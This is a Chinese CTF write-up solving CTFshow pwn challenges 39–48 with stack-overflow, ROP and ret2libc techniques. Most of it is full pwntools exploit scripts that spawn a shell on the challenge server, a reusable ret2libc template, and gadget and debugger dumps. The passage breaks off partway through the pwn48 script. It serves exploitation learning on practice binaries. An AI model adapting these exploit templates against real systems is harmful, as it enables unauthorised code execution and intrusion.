awp?awm?own?npw?pwn!

PWN——CTFshow

pwn39

一个32位程序

Arch:       i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:         NX enabled
PIE:       No PIE (0x8048000)
Stripped:   No

main函数的内容如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
 setvbuf(stdout, 0, 2, 0);
 setvbuf(stdin, 0, 2, 0);
 puts(asc_804876C);
 puts(asc_80487E0);
 puts(asc_804885C);
 puts(asc_80488E8);
 puts(asc_8048978);
 puts(asc_80489FC);
 puts(asc_8048A90);
 puts("   * *************************************                           ");
 puts(aClassifyCtfsho);
 puts("   * Type : Stack_Overflow                                         ");
 puts("   * Site : https://ctf.show/                                       ");
 puts("   * Hint : It has system and '/bin/sh',but they don't work together");
 puts("   * *************************************                           ");
 puts("Just easy ret2text&&32bit");
 ctfshow(&argc);
 puts("\nExit");
 return 0;
}

Hint表示system 和 ‘/bin/sh’并不同时起效

但是这里和之前(pwn37、pwn38)不一样:

在标准输出上输出路径 ‘/bin/sh’;

调用 system()函数,该函数用于执行系统命令,但这里只是输出提示信息 ‘You find me?’。

而前面我们遇到的直接获取 shell 的是:system(“/bin/sh”)

根据题目描述:32位的 system(); “/bin/sh”

system() 与 “/bin/sh” 在程序中都存在,但这里将系统函数与参数分开了,我们需要手动构造。

再回到对于栈溢出的判断

有明说是ret2text

去text段翻找

没找到什么有效内容

看到函数栏的system函数

直接反照看到system函数的位置

即:0x080483A0

又倒回去找能栈溢出的原因

ssize_t ctfshow()
{
 _BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF

 return read(0, buf, 0x32u);

在ctfshow这个函数中,存在这么个栈溢出的漏洞

漏洞产生的原因在于

这里声明了一个长度为 14 的字符数组 buf,数组大小为14字节,用来存储用户输入的数据,调用 read() 函数,从文件描述符(在这里是标准输入,文件描述符0)读取数据。read()函数的第一个参数是文件描述符,第二个参数是用来接收数据的缓冲区,第三个参数是要读取的字节数。

read() 函数试图从标准输入读取最多 0x32(十进制为50)个字节的数据到 buf 数组中,然后返回实际读取的字节数。但是,由于 buf 数组的大小只有 14 字节,这就可能导致溢出。

好了,那么对于这里需要进行填充的字符数就该是

0x12+程序中栈底的大小

因为这是个32位的程序

所以buf到栈底的位置还要再加4

所以要填充的字节数就是:

0x12+4

那么payload的一角就明晰了

结合上面的分析

可以得到

payload的构成大致是

填充字节+调用system函数+加写入/bin/sh字段

system函数的位置已知

去找/bin/sh

发现目标内容

至此,所有必备要素全部集齐

exp:

from pwn import *
sh=remote('pwn.challenge.ctf.show', 28178)
payload = b'a'*(0x12+4) + p32(0x80483A0) + p32(0x8048750)
sh.sendline(payload)
sh.interactive()

发现并不能直接打通

说明仍然存在问题

实际上

payload 格式:

payload = b’a’*(0x12+4) + p32(system) + p32(0) + p32(bin_sh)

首先在溢出后填入 system 函数的地址,这个地址将覆盖程序返回地址,以便控制程序流程。 此外我们需要考虑函数调用栈的结构:system函数的第一个参数通常是一个指向要执行的命令的字符串,如 /bin/sh,需要将这个字符串的地址作为参数传递给 system 函数,system 函数的第二个参数通常是一个指向空值的指针,表示没有额外的参数。在 payload 中,可以使用任意值,比如 0 ,使用 p32() 函数将地址转换为4字节的字符串,也可以用其他任意 4 字节字符,如 ‘aaaa’,最后再加上 bin/sh 的地址,我们就能够利用缓冲区溢出漏洞成功调用 system(“/bin/sh”),从而获取到所需的 shell。

payload 详细解释:

b’a’ * (0x12 + 4):这部分是填充,填充的目的是使得输入的长度超过了原本的缓冲区大小,触发缓冲区溢出。 p32(system):这部分是 system 函数的地址,在利用缓冲区溢出漏洞时,重要的一步是覆盖返回地址,使得程序返回时跳转到 system 函数。 p32(0):这部分是 system 函数的第二个参数,在大多数情况下,system 函数的第二个参数应该是一个指向空值的指针,表示没有额外的参数,这里使用了0,表示一个空指针。 p32(bin_sh):这部分是 /bin/sh 字符串的地址,作为 system 函数的第一个参数,/bin/sh 是一个用于启动 shell 的路径,在利用缓冲区溢出漏洞时,我们可以使用这个参数来告诉 system 函数要执行的命令。

所以

payload修改后即为正确的exp

即:

from pwn import *
sh=remote('pwn.challenge.ctf.show', 28178)
payload = b'a'*(0x12+4) + p32(0x80483A0) + p32(0) + p32(0x8048750)
sh.sendline(payload)
sh.interactive()

拿到flag

pwn40

from pwn import *
io=remote("pwn.challenge.ctf.show",28267)
payload = b'a'*(0xA+8) + p64(0x4007e3) + p64(0x400808) + p64(0x4004fe) + p64(0x400520)
io.sendline(payload)
io.interactive()

pwn41

已知32位

就不开checksec

main函数反编译一遍看到

int __cdecl main(int argc, const char **argv, const char **envp)
{
 setvbuf(stdout, 0, 2, 0);
 setvbuf(stdin, 0, 2, 0);
 logo(&argc);
 ctfshow();
 puts("\nExit");
 return 0;
}

调用ctfshow函数

看该函数

拿到buf到栈底的长度

ssize_t ctfshow()
{
 _BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF

 return read(0, buf, 0x32u);
}

即:0x12+4

溢出字节数get

现在就要找到常规的提权函数

找不到关键的bin/sh

32位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代\

实际上,_system+”sh”在环境变量配置正确的时候和 _system+”/bin/sh”是等价的

而刚好能在其中找到sh字眼

就在useful函数中能看到sh

那么只需要确认“sh”的位置即可

双击useful函数中的“sh”直接就跳转了

拿到“sh”的位置

080487BA

再找到个_system函数地址就好

而hint函数中,就调用了system函数

那么直接用这个里的system就可以提权成功

exp:

from pwn import *
sh=remote("pwn.challenge.ctf.show",28129)
system=0x080483D0  #483D0是plt表里的system,如果换用text段的system就不需要再发送'aaaa'
bin=0x080487BA
payload=b'a'*(0x12+4)+p32(system)+b'aaaa'+p32(bin)
sh.sendline(payload)
sh.interactive()

pwn42

64位

和上面类似的操作

main函数查到buf到栈底的位置

0xA+8

找到sh位置

0400872

找到system函数位置

0400560

由于是64位程序

所以又出现pwn40的一个考点

64位的传参和32位不同

64位会先传入寄存器,共八个

而传完才会传入栈中

所以需要先拿到第一个参数寄存器rdi的位置

由于需要将字符”sh”返回给调用函数

所以还需要找到ret指令的位置

所以使用ROPgadget

通过指令

ROPgadget --binary pwn42

拿到响应

0x00000000004005c9 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x0000000000400597 : add al, 0 ; add byte ptr [rax], al ; jmp 0x400540
0x0000000000400577 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x400540
0x0000000000400e6f : add al, dl ; idiv bh ; jmp qword ptr [rax]
0x0000000000400eb7 : add bh, ch ; idiv edi ; call qword ptr [rdi]
0x0000000000400e97 : add bh, ch ; idiv edi ; jmp qword ptr [rax]
0x00000000004005cf : add bl, dh ; ret
0x0000000000400ef3 : add byte ptr [rax - 0x22000000], bh ; idiv edi ; jmp qword ptr [rbx]
0x0000000000400e6d : add byte ptr [rax], al ; add al, dl ; idiv bh ; jmp qword ptr [rax]
0x0000000000400eb5 : add byte ptr [rax], al ; add bh, ch ; idiv edi ; call qword ptr [rdi]
0x0000000000400e95 : add byte ptr [rax], al ; add bh, ch ; idiv edi ; jmp qword ptr [rax]
0x000000000040084d : add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040084b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400557 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x400540
0x00000000004006b8 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040067c : add byte ptr [rax], al ; add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400610
0x000000000040084c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x000000000040067d : add byte ptr [rax], al ; add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400610
0x0000000000400ef5 : add byte ptr [rax], al ; add dh, bl ; idiv edi ; jmp qword ptr [rbx]
0x0000000000400559 : add byte ptr [rax], al ; jmp 0x400540
0x0000000000400eb2 : add byte ptr [rax], al ; js 0x400eb6 ; add byte ptr [rax], al ; out dx, eax ; idiv edi ; call qword ptr [rdi]
0x0000000000400ef2 : add byte ptr [rax], al ; mov eax, 0xde000000 ; idiv edi ; jmp qword ptr [rbx]
0x0000000000400eb6 : add byte ptr [rax], al ; out dx, eax ; idiv edi ; call qword ptr [rdi]
0x0000000000400e96 : add byte ptr [rax], al ; out dx, eax ; idiv edi ; jmp qword ptr [rax]
0x0000000000400e92 : add byte ptr [rax], al ; pop rax ; add byte ptr [rax], al ; add bh, ch ; idiv edi ; jmp qword ptr [rax]
0x0000000000400606 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040067e : add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400610
0x00000000004005ce : add byte ptr [rax], al ; ret
0x0000000000400eb3 : add byte ptr [rax], bh ; add byte ptr [rax], al ; out dx, eax ; idiv edi ; call qword ptr [rdi]
0x0000000000400e93 : add byte ptr [rax], bl ; add byte ptr [rax], al ; out dx, eax ; idiv edi ; jmp qword ptr [rax]
0x0000000000400e6b : add byte ptr [rax], dh ; add byte ptr [rax], al ; add al, dl ; idiv bh ; jmp qword ptr [rax]
0x0000000000400605 : add byte ptr [rax], r8b ; pop rbp ; ret
0x00000000004005cd : add byte ptr [rax], r8b ; ret
0x000000000040067f : add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400610
0x0000000000400667 : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400ef7 : add dh, bl ; idiv edi ; jmp qword ptr [rbx]
0x0000000000400567 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x400540
0x0000000000400668 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x0000000000400587 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x400540
0x000000000040053b : add esp, 8 ; ret
0x000000000040053a : add rsp, 8 ; ret
0x00000000004005fe : and byte ptr [rax], ah ; jmp rax
0x00000000004005c8 : and byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; ret
0x0000000000400554 : and byte ptr [rax], al ; push 0 ; jmp 0x400540
0x0000000000400564 : and byte ptr [rax], al ; push 1 ; jmp 0x400540
0x0000000000400574 : and byte ptr [rax], al ; push 2 ; jmp 0x400540
0x0000000000400584 : and byte ptr [rax], al ; push 3 ; jmp 0x400540
0x0000000000400594 : and byte ptr [rax], al ; push 4 ; jmp 0x400540
0x0000000000400531 : and byte ptr [rax], al ; test rax, rax ; je 0x40053a ; call rax
0x00000000004006d2 : call qword ptr [rax + 0x4855c35d]
0x0000000000400291 : call qword ptr [rax - 0x4b6cb9fd]
0x0000000000400ebb : call qword ptr [rdi]
0x0000000000400538 : call rax
0x00000000004006a4 : dec ecx ; ret
0x000000000040082c : fmul qword ptr [rax - 0x7d] ; ret
0x00000000004005ca : hlt ; nop dword ptr [rax + rax] ; ret
0x0000000000400e71 : idiv bh ; jmp qword ptr [rax]
0x0000000000400eb9 : idiv edi ; call qword ptr [rdi]
0x0000000000400e99 : idiv edi ; jmp qword ptr [rax]
0x0000000000400ef9 : idiv edi ; jmp qword ptr [rbx]
0x0000000000400683 : in eax, 0x5d ; jmp 0x400610
0x0000000000400c9c : in eax, 0x85 ; movsd dword ptr [rdi], dword ptr [rsi] ; jmp 0x2060b53b
0x0000000000400536 : je 0x40053a ; call rax
0x00000000004005f9 : je 0x400608 ; pop rbp ; mov edi, 0x602050 ; jmp rax
0x000000000040063b : je 0x400648 ; pop rbp ; mov edi, 0x602050 ; jmp rax
0x000000000040028f : jle 0x400214 ; call qword ptr [rax - 0x4b6cb9fd]
0x0000000000400c9f : jmp 0x2060b53b
0x000000000040055b : jmp 0x400540
0x0000000000400685 : jmp 0x400610
0x0000000000400dd3 : jmp qword ptr [rax - 0x2d000000]
0x0000000000400e9b : jmp qword ptr [rax]
0x0000000000400f3b : jmp qword ptr [rbp]
0x0000000000400efb : jmp qword ptr [rbx]
0x0000000000400f1b : jmp qword ptr [rdi]
0x0000000000400601 : jmp rax
0x0000000000400eb4 : js 0x400eb6 ; add byte ptr [rax], al ; out dx, eax ; idiv edi ; call qword ptr [rdi]
0x00000000004006a5 : leave ; ret
0x0000000000400662 : mov byte ptr [rip + 0x2019ff], 1 ; pop rbp ; ret
0x0000000000400572 : mov dl, 0x1a ; and byte ptr [rax], al ; push 2 ; jmp 0x400540
0x00000000004006b7 : mov eax, 0 ; pop rbp ; ret
0x0000000000400ef4 : mov eax, 0xde000000 ; idiv edi ; jmp qword ptr [rbx]
0x0000000000400682 : mov ebp, esp ; pop rbp ; jmp 0x400610
0x00000000004005fc : mov edi, 0x602050 ; jmp rax
0x0000000000400562 : mov edx, 0x6800201a ; add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x400540
0x0000000000400681 : mov rbp, rsp ; pop rbp ; jmp 0x400610
0x0000000000400592 : movabs byte ptr [0x46800201a], al ; jmp 0x400540
0x0000000000400c9e : movsd dword ptr [rdi], dword ptr [rsi] ; jmp 0x2060b53b
0x00000000004006d3 : nop ; pop rbp ; ret
0x0000000000400603 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x00000000004005cb : nop dword ptr [rax + rax] ; ret
0x0000000000400645 : nop dword ptr [rax] ; pop rbp ; ret
0x000000000040063c : or ebx, dword ptr [rbp - 0x41] ; push rax ; and byte ptr [rax], ah ; jmp rax
0x0000000000400eb8 : out dx, eax ; idiv edi ; call qword ptr [rdi]
0x0000000000400e98 : out dx, eax ; idiv edi ; jmp qword ptr [rax]
0x000000000040083c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040083e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400840 : pop r14 ; pop r15 ; ret
0x0000000000400842 : pop r15 ; ret
0x0000000000400e94 : pop rax ; add byte ptr [rax], al ; add bh, ch ; idiv edi ; jmp qword ptr [rax]
0x0000000000400684 : pop rbp ; jmp 0x400610
0x00000000004005fb : pop rbp ; mov edi, 0x602050 ; jmp rax
0x000000000040083b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040083f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400608 : pop rbp ; ret
0x0000000000400843 : pop rdi ; ret
0x0000000000400841 : pop rsi ; pop r15 ; ret
0x000000000040083d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400556 : push 0 ; jmp 0x400540
0x0000000000400566 : push 1 ; jmp 0x400540
0x0000000000400576 : push 2 ; jmp 0x400540
0x0000000000400586 : push 3 ; jmp 0x400540
0x0000000000400596 : push 4 ; jmp 0x400540
0x00000000004005fd : push rax ; and byte ptr [rax], ah ; jmp rax
0x0000000000400680 : push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400610
0x000000000040053e : ret
0x0000000000400542 : ret 0x201a
0x00000000004005f8 : sal byte ptr [rbp + rcx + 0x5d], 0xbf ; push rax ; and byte ptr [rax], ah ; jmp rax
0x000000000040063a : sal byte ptr [rbx + rcx + 0x5d], 0xbf ; push rax ; and byte ptr [rax], ah ; jmp rax
0x0000000000400535 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000400665 : sbb dword ptr [rax], esp ; add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400c99 : sub eax, 0x85e5202d ; movsd dword ptr [rdi], dword ptr [rsi] ; jmp 0x2060b53b
0x0000000000400c9a : sub eax, 0xa585e520 ; jmp 0x2060b53b
0x0000000000400855 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000400854 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040084a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400534 : test eax, eax ; je 0x40053a ; call rax
0x0000000000400533 : test rax, rax ; je 0x40053a ; call rax
0x0000000000400843 : pop rdi ; ret

这里获取到rdi寄存器位置

(rdi寄存器的位置可以换用另外一个指令来获取位置)

ROPgadget --binary pwn42 --only "pop|ret"|grep rdi

能更高效的筛出pop_rdi的位置

0x000000000040053e : ret

这里获取到ret指令位置

至此,全部要素集齐

payload格式为:b’a’*(0xA+8)+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system)

exp:

from pwn import *
u=remote("pwn.challenge.ctf.show",28237)
pop_rdi=0x0000000000400843
sh=0x0400872
ret=0x000000000040053e
system=0x0400560
payload=b'a'*(0xA+8)+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system)
u.sendline(payload)
u.interactive()

pwn43

32位

进main函数

发现溢出长度

0x6C+4

进hint函数,找到system

找到system的plt位置

08048450

找不到/bin/sh

只能自己构造

唯一的难点就是这里了

先用pwngdb调试

命令行输入

gdb pwn43

给main函数下断点

break main

然后开run

会拿到这个结果

Breakpoint 1, 0x080487bd in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────
EAX  0xf7faddd8 (environ) —▸ 0xffffd00c —▸ 0xffffd211 ◂— 'CLUTTER_IM_MODULE=xim'
EBX  0x0
ECX  0xffffcf70 ◂— 0x1
EDX  0xffffcf94 ◂— 0x0
EDI  0x0
ESI  0xf7fac000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
EBP  0xffffcf58 ◂— 0x0
ESP  0xffffcf54 —▸ 0xffffcf70 ◂— 0x1
EIP  0x80487bd (main+14) ◂— sub    esp, 4
─────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────
► 0x80487bd <main+14>                    sub    esp, 4
   ↓
  0x80487e7 <__x86.get_pc_thunk.ax>      mov    eax, dword ptr [esp]
  0x80487ea <__x86.get_pc_thunk.ax+3>    ret    
   ↓
  0x80487c5 <main+22>                    add    eax, 0x283b
  0x80487ca <main+27>                    call   init <init>

  0x80487cf <main+32>                    call   logo <logo>

  0x80487d4 <main+37>                    call   ctfshow <ctfshow>

  0x80487d9 <main+42>                    mov    eax, 0
  0x80487de <main+47>                    add    esp, 4
  0x80487e1 <main+50>                    pop    ecx
  0x80487e2 <main+51>                    pop    ebp
─────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────
00:0000│ esp  0xffffcf54 —▸ 0xffffcf70 ◂— 0x1
01:0004│ ebp  0xffffcf58 ◂— 0x0
02:0008│      0xffffcf5c —▸ 0xf7decfa1 (__libc_start_main+241) ◂— add    esp, 0x10
03:000c│      0xffffcf60 —▸ 0xf7fac000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
... ↓
05:0014│      0xffffcf68 ◂— 0x0
06:0018│      0xffffcf6c —▸ 0xf7decfa1 (__libc_start_main+241) ◂— add    esp, 0x10
07:001c│ ecx  0xffffcf70 ◂— 0x1
───────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────

再用vmmap查内存段的权限信息

得到

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000  0x8049000 r-xp     1000 0      /home/ctfshow/Desktop/xd/pwn43
0x804a000  0x804b000 r--p     1000 1000   /home/ctfshow/Desktop/xd/pwn43
0x804b000  0x804c000 rw-p     1000 2000   /home/ctfshow/Desktop/xd/pwn43
0xf7dd4000 0xf7fa9000 r-xp   1d5000 0      /lib/i386-linux-gnu/libc-2.27.so
0xf7fa9000 0xf7faa000 ---p     1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7faa000 0xf7fac000 r--p     2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fac000 0xf7fad000 rw-p     1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fad000 0xf7fb0000 rw-p     3000 0      
0xf7fcf000 0xf7fd1000 rw-p     2000 0      
0xf7fd1000 0xf7fd4000 r--p     3000 0     [vvar]
0xf7fd4000 0xf7fd6000 r-xp     2000 0     [vdso]
0xf7fd6000 0xf7ffc000 r-xp    26000 0      /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r--p     1000 25000  /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rw-p     1000 26000  /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rw-p    21000 0     [stack]

-p 标志表示内存区域的权限,它由四个字符组成,每个字符分别代表一个权限:

r:可读(Readable) w:可写(Writable) x:可执行(Executable) s:共享(Shared)

0x804b000 0x804c000 rw-p 1000 2000 /home/ctfshow/Desktop/xd/pwn43

这里就是可以读写的

在这个区间就能找到buf2

这里就可以作为我们构造的/bin/sh的所在

buf2的位置为

0804B060

那么我们就只差个输入函数的位置

实际上,细看ctfshow这个函数

里面有用到一个输入函数

gets函数

找到gets函数的位置

08048420

那么payload的构造就出来了

payload=b’a’*(0x6C+4)+p32(gets)+p32(system)+p32(buf2)+p32(buf2)

payload里的两个buf2分别作为gets函数和system函数的参数

具体原因参考大佬文

关于这个 payload 的详细解释:

在函数调用中,参数会按照一定的顺序压入栈中,然后函数会依次读取这些参数。

b’a’*offset:这部分是填充数据,长度为 offset,目的是为了覆盖函数的返回地址,并确保我们能够控制程序的执行流程。

p32(gets_addr):这是 gets() 函数的地址,我们将覆盖函数返回地址为 gets() 函数的地址,这样在程序返回时会跳转到 gets() 函数执行,我们就可以利用 gets() 函数从输入中获取数据。 p32(system_addr):这是 system() 函数的地址,我们将覆盖 gets() 函数的返回地址为 system() 函数的地址,这样在 gets() 函数执行完毕后,程序会继续执行 system() 函数。

而后面的两个 p32(buf2_addr) 分别作为 gets 函数与 system 函数的参数

第一个参数是用 gets() 函数读取的数据,也就是我们要写的 buf2 的地址(写入后 buf2 的地址也就是 “/bin/sh” 字符串的地址); 第二个参数也是 “/bin/sh” 字符串的地址,因为 system() 函数会使用这个地址作为命令参数

原文链接:https://blog.csdn.net/Myon5/article/details/138167444

所以exp:

from pwn import *
u=remote("pwn.challenge.ctf.show",28166)
gets=0x08048420
system=0x08048450
buf2=0x0804B060
payload=b'a'*(0x6C+4)+p32(gets)+p32(system)+p32(buf2)+p32(buf2)
u.sendline(payload)
u.sendline("/bin/sh")
u.interactive()

pwn44

64位

ctfshow函数中,拿到溢出字符长度

0xA+8

找到gets函数

即输入函数,能手动传入”/bin/sh”的函数

0x00400530

pwngdb调试

得到

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
         0x400000           0x401000 r-xp     1000 0      /home/ctfshow/Desktop/xd/pwn44
         0x601000           0x602000 r--p     1000 1000   /home/ctfshow/Desktop/xd/pwn44
         0x602000           0x603000 rw-p     1000 2000   /home/ctfshow/Desktop/xd/pwn44
   0x7ffff79e2000     0x7ffff7bc9000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
   0x7ffff7bc9000     0x7ffff7dc9000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
   0x7ffff7dc9000     0x7ffff7dcd000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
   0x7ffff7dcd000     0x7ffff7dcf000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
   0x7ffff7dcf000     0x7ffff7dd3000 rw-p     4000 0      
   0x7ffff7dd3000     0x7ffff7dfc000 r-xp    29000 0      /lib/x86_64-linux-gnu/ld-2.27.so
   0x7ffff7fd6000     0x7ffff7fd8000 rw-p     2000 0      
   0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0     [vvar]
   0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0     [vdso]
   0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 29000  /lib/x86_64-linux-gnu/ld-2.27.so
   0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 2a000  /lib/x86_64-linux-gnu/ld-2.27.so
   0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      
   0x7ffffffde000     0x7ffffffff000 rw-p    21000 0     [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000 0     [vsyscall

去翻0x602000 0x603000 rw-p 1000 2000 /home/ctfshow/Desktop/xd/pwn44

找到buf2位置

0x00602080

64位程序

所以需要得知ret和rdi的位置

ROPgadget指令

拿到rdi位置

0x00000000004007f3 : pop rdi ; ret

拿到ret位置

0x00000000004004fe : ret

现在就只需要找到system函数即可

在hint函数中拿到

0x00400520

集齐所有要素,exp:

from pwn import *
u=remote("pwn.challenge.ctf.show",28132)
pop_rdi=0x00000000004007f3
ret=0x00000000004004fe
system=0x00400520
gets=0x00400530
buf2=0x00602080
payload=b'a'*(0xA+8)+p64(pop_rdi)+p64(buf2)+p64(ret)+p64(gets)+p64(pop_rdi)+p64(buf2)+p64(ret)+p64(system)
u.sendline(payload)
u.sendline("/bin/sh")
u.interactive()

pwn45

ctfshow的第一道ret2libc

借用夏师傅博客的板子(再从其他佬的博客那补了点注释

from pwn import *
from LibcSearcher import *

io = remote('', )
# io = process("")
elf = ELF('')
# libc= ELF('libc.so.6')
# 加载ELF(可执行和可链接格式)二进制文件到elf对象中,使我们能够轻松访问符号、地址和段
main_add =
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ", hex(puts_got))
print("Puts_plt: ", hex(puts_plt))

offset =

payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendlineafter(b'', payload1)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])    
# 接收数据,直到遇到字节\xf7(在32位系统中,很多共享库(如libc)的地址高字节是\xf7)
# 取接收到的数据的最后 4 个字节,因为 puts 函数的地址是 32 位(4 个字节)
# 泄露 puts 函数在 GOT 表中的实际地址
print("Puts_addr: ", hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0x0) + p32(bin_sh_add)
# 0x0作为占位符填充返回地址的后续字节,以确保返回地址被正确覆盖
io.sendlineafter(b'', payload2)

io.interactive()

填写板子

exp:

from pwn import *
from LibcSearcher import *

io = remote('pwn.challenge.ctf.show',28269)
# io = process("")
elf = ELF('./pwn45')
# libc= ELF('libc.so.6')

main_add =0x0804866D
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ", hex(puts_got))
print("Puts_plt: ", hex(puts_plt))

offset =0x6B

payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendlineafter(b'O.o?', payload1)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
print("Puts_addr: ", hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0x0) + p32(bin_sh_add)
io.sendlineafter(b'', payload2)

io.interactive()

拿到flag

pwn46

from pwn import *
from LibcSearcher import *

io = remote('pwn.challenge.ctf.show',28253)
# io=process("./pwn")
elf = ELF('./pwn46')
# libc= ELF(elf.libc.path)

ret_add =0x00000000004004fe
pop_rdi =0x0000000000400803
main_add =0x000000000040073E
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))

offset=0x70

payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'O.o?', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)   # libc6_2.27-0ubuntu2_amd64

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)

io.sendlineafter(b'O.o?', payload2)

io.interactive()

64位,在32位的基础上补rdi补ret改offset改main函数地址就好了

pwn47

根据32位的板子改

改完即为完整exp:

from pwn import *
from LibcSearcher import *

io = remote('pwn.challenge.ctf.show',28169 )
# io = process("")
elf = ELF('./pwn47')
# libc= ELF('libc.so.6')

main_add =0x080486B9
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ", hex(puts_got))
print("Puts_plt: ", hex(puts_plt))

offset =0x9C

payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendlineafter(b'time:', payload1)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
print("Puts_addr: ", hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0) + p32(bin_sh_add)
io.sendlineafter(b'time:', payload2)

io.interactive()

pwn48

同样32位填板子,填完就拿到flag

exp:

from pwn import *
from LibcSearcher import *

